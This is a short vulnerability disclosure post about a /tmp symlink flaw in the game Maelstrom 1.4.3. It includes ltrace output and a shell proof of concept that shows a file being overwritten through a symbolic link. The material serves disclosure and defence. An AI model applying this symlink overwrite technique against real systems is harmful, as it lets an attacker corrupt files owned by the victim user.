Maelstrom 1.4.3 abartity file overwrite

["Andrew Griffiths" <andrewg () tasmail com>]

Program: Maelstrom
Version: 1.4.3
Distribution: RedHat 7.1

When trying to break stuff, ltracing Maelstrom showed the following:

fopen("/tmp/f", "w")                              = 0x08081f58
fprintf(0x08081f58, "Main program = %s\n", "Maelstrom") = 25
fclose(0x08081f58)                                = 0

Which made we wonder if it followed symbolic links, by doing

[andrewg@blackhole andrewg]$ rm -f /tmp/f; (umask 077; echo bla >  /tmp/bla; \
ln -s /tmp/bla f)

at which point I ran it again, and when I did cat /tmp/bla, I got

Main program = Maelstrom

Conclusion:
-=-=-=-=-=-

You can overwrite arbitrary files with the permissions of the user who ran
it.

Of course, this won't work on systems that have linking restrictions in /tmp.

Fixing it
-=-=-=-=-

Remove the code that does the above.


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